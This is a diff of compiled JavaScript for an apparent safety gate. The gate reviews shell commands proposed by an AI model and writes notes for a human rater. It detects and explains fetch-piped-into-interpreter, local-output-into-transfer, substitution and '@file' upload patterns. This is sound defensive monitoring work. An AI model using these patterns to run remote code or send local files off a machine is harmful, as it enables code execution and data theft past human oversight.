+ const { phrase: host, plural } = nameHosts(flow.hosts, 'that host');
1088
+ const interpreter = quotable(flow.interpreter) ?? 'the program after the pipe';
1089
+ const returns = plural ? 'return' : 'returns';
1090
+ const does = plural ? 'do' : 'does';
1091
+ // A token on the interpreter's own argv could be a program, so the fetched bytes may be its
1092
+ // INPUT rather than the thing it runs — `curl … | python3 -m json.tool` pretty-prints them as
1093
+ // data, and so does the glued `-mjson.tool` spelling. The sentence hedges because the gate
1094
+ // reads shape and not flag meanings; see {@link interpreterRunsStdin}.
1095
+ if (!flow.stdinIsTheProgram) {
1096
+ return (`The part that fetches from ${host} is piped into ${interpreter}, so ${interpreter} ` +
1097
+ `reads whatever ${host} ${returns}. This line also gives ${interpreter} operands of its ` +
1098
+ `own, which may be the program it runs, so the gate is not saying the fetched bytes are ` +
1099
+ `what executes here — they may be INPUT to that program instead. What ${does} ${host} ` +
1100
+ `serve here, and what does ${interpreter} do with it?`);
1101
+ }
1102
+ return (`The part that fetches from ${host} is piped into ${interpreter}, so the shell hands ` +
1103
+ `whatever ${host} ${returns} to ${interpreter} and ${interpreter} runs it as a program on ` +
1104
+ `this machine. What this line executes is therefore decided by ${host} and is not in the ` +
1105
+ `text above. What ${does} ${host} serve here?`);
1106
+ }
1107
+ case 'local-into-transfer': {
1108
+ const { phrase: host } = nameHosts(flow.hosts, 'that host');
1109
+ const producer = quotable(flow.producer) ?? 'the program before the pipe';
1110
+ const transfer = quotable(flow.transfer) ?? 'the program after the pipe';
1111
+ return (`The output of ${producer} is piped into ${transfer}, so whatever ${producer} produces on ` +
1112
+ `this machine is what ${transfer} sends to ${host}. It takes both parts together to see ` +
1113
+ `that: neither one moves local data off the machine on its own. What does ${producer} read ` +
1114
+ `and emit here?`);
1115
+ }
1116
+ case 'substitution-into-transfer': {
1117
+ const { phrase: host } = nameHosts(flow.hosts, 'that host');
1118
+ const transfer = quotable(flow.transfer) ?? 'the transfer program';
1119
+ return (`An operand of ${transfer} is a substitution. The SHELL runs that inner command first and ` +
1120
+ `substitutes its output into the argument list BEFORE ${transfer} starts, so the result of ` +
1121
+ `the inner command is part of what ${transfer} sends to ${host} — the operand is not the ` +
1122
+ `literal text shown. What does the inner command produce?`);
1123
+ }
1124
+ case 'file-into-transfer': {
1125
+ const { phrase: host } = nameHosts(flow.hosts, 'that host');
1126
+ const transfer = quotable(flow.transfer) ?? 'the transfer program';
1127
+ const file = flow.path === null ? 'a local file' : `the local file ${flow.path}`;
1128
+ return (`An operand of ${transfer} begins with an at-sign, which tells ${transfer} to read ` +
1129
+ `${file} and send its CONTENTS to ${host} rather than sending the name itself. What is in ` +
1130
+ `that file?`);
1131
+ }
1132
+ }
1133
+ }
1134
+ /**
1135
+ * The hosts the rest of the line names, added after the flow sentence.
1136
+ *
1137
+ * A flow describes ONE part; the finding covers the whole line. Without this, naming a flow would
1138
+ * cost the note every host outside that part — the same loss as naming only the first host, one
1139
+ * level up. Empty when the flow already named them all, which is the ordinary case.
1140
+ */
1141
+ function residualSentence(hosts) {
1142
+ const { phrase, plural } = nameHosts(hosts, '');
1143
+ if (phrase === '')
1144
+ return '';
1145
+ return plural
1146
+ ? ` Other parts of this line also name ${phrase}, and the gate is not saying what reaches them. ` +
1147
+ 'What do those parts do here?'
1148
+ : ` Another part of this line also names ${phrase}, and the gate is not saying what reaches ` +
1149
+ 'it. What does that part do here?';
1150
+ }
1151
+ /**
1152
+ * What the note says when no flow is determinable: the hosts, and an explicit statement that the
1153
+ * flow is NOT known. A note that guessed at one would be worse than a short one, and a reader told
1154
+ * what the gate could not work out can weigh it.
1155
+ */
1156
+ function flowlessSentence(hosts) {
1157
+ const { phrase, plural } = nameHosts(hosts, 'a host');
1158
+ const subject = plural ? 'The parts read separately name' : 'The part in question names';
1159
+ const them = plural ? 'those hosts' : 'that host';
1160
+ const contact = plural
1161
+ ? 'the parts of this line contact them'
1162
+ : 'one part of this line contacts it';
1163
+ return (`${subject} ${phrase}. The gate could not work out how the parts feed into each other, so it ` +
1164
+ `is not telling you what reaches ${them} — only that ${contact}. What does the whole line do ` +
1165
+ 'once every part has run?');
1166
+ }
1167
+ /**
1168
+ * Build the composed open-world note for a command, or `null` when there is nothing to say.
1169
+ *
1170
+ * One sentence of mechanism when the flow is determinable, plus the hosts the rest of the line names
1171
+ * ({@link residualSentence}); when it is not, {@link flowlessSentence}. **Every host on the finding
1172
+ * that can be quoted is named either way** — which arm fired must never decide how much the rater is
1173
+ * told about the counterparties.
1174
+ *
1175
+ * @param command The raw command string as the model proposed it.
1176
+ */
1177
+ export function buildComposedOpenWorldNote(command) {
1178
+ const finding = findComposedOpenWorld(command);
1179
+ if (finding === null)
1180
+ return null;
1181
+ const flow = finding.flow;
1182
+ const body = flow === null
1183
+ ? flowlessSentence(finding.hosts)
1184
+ : flowSentence(flow) +
1185
+ residualSentence(finding.hosts.filter((host) => !flow.hosts.includes(host)));
1186
+ return `${COMPOSED_OPEN_WORLD_PREAMBLE}\n${body}`;
1187
+ }
523
1188
  //# sourceMappingURL=openWorld.js.map